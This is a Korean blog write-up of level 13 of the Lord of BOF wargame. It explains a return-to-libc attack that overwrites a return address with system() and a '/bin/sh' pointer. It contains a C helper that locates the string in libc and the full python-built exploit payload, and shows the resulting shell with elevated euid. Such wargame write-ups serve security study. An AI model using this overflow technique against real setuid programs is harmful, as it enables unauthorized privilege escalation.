[LOB] level13, darknight -> bugbear 풀이
- 시스템해킹/LordOfBof
- 2020. 4. 8. 21:04
LOB, darknight -> bugbear 문제 확인
이번 문제는 RET을 덮는 주소에 \xbf 영역을 사용하지 못하게 해놓았는데 이 뜻은, 리턴 주소로 스택 영역을 사용하지 못하게 된 것이다. RTL을 활용하는 문제이다.
RTL은 FTZ 19번 문제를 풀 때 쓰여야 했던 개념이라 따로 정리해서 포스팅한 적이 있으니 RTL 내용은 아래 포스팅을 참고하길 바란다.
RTL(Return to Library) Chaining 이란?
LOB, darknight -> bugbear 풀이
현재 스택 구성은 아래와 같다. 여태까지 보던 스택구성과 같은데 이번엔 RET 자리에 쉘코드가 올라와있는 메모리의 주소를 덮는 것이 아니라 system 함수의 주소값을 주고 esp+4 위치에 dummy값, esp+8 위치에 "/bin/bash" 문자열이 올라와있는 메모리 주소값을 줄 것이다.
코드 실행을 전부 마치고 RET에 esp가 위치했을 때 system 함수가 실행되고 esp+8 자리에 있는 값을 인자로 인식해 system("/bin/bash")가 실행되게 된다. 참고로, system함수의 RET 자리인 esp+4 부분은 쉘만 실행되면 되기 때문에 dummy 값을 주어도 무방하다.
i |
buf |
SFP |
RET system() address |
sytem() RET dummy |
system() argv &(/bin/bash) |
system 함수의 주소는 아래와 같이 구할 수 있다.
"/bin/sh" 문자열은 환경변수에 올려서 주소를 구했는데 계속 세그폴트만 뜰 뿐 쉘획득이 되지 않아서 아래와 같이 system 함수 내부에서 /bin/sh 문자열을 찾는 방법으로 변경했다. 아래 코드는 링크에서 가져왔다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
int system = 0x40058ae0;
while(memcmp((void*)system,"/bin/sh",8)) system++;
printf("%p\n",system);
}
LOB, darknight -> bugbear 익스플로잇
따라서 dummy*44 + [&system()] + dummy*4 + [&"/bin/sh"] 형태로 페이로드를 구성하면 쉘을 획득할 수 있다.
[darkknight@localhost darkknight]$ ./bugbear `python -c 'print "A"*44+"\xe0\x8a\x05\x40"+"B"*4+"\xf9\xbf\x0f\x40"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAɀBBBB
bash$ id
uid=512(darkknight) gid=512(darkknight) euid=513(bugbear) egid=513(bugbear) groups=512(darkknight)
bash$ my-pass
euid = 513
new divide
'시스템해킹 > LordOfBof' 카테고리의 다른 글
[LOB] level15, giant->assassin 풀이 (0) | 2020.04.09 |
---|---|
[LOB] level14, bugbear -> giant 풀이 (0) | 2020.04.08 |
[LOB] level12, golem -> darknight 풀이 (SFP 조작) (0) | 2020.04.07 |
[LOB] level11, skeleton -> golem 풀이 (0) | 2020.04.06 |
[LOB] level10, vampire -> skleton 풀이 (0) | 2020.04.06 |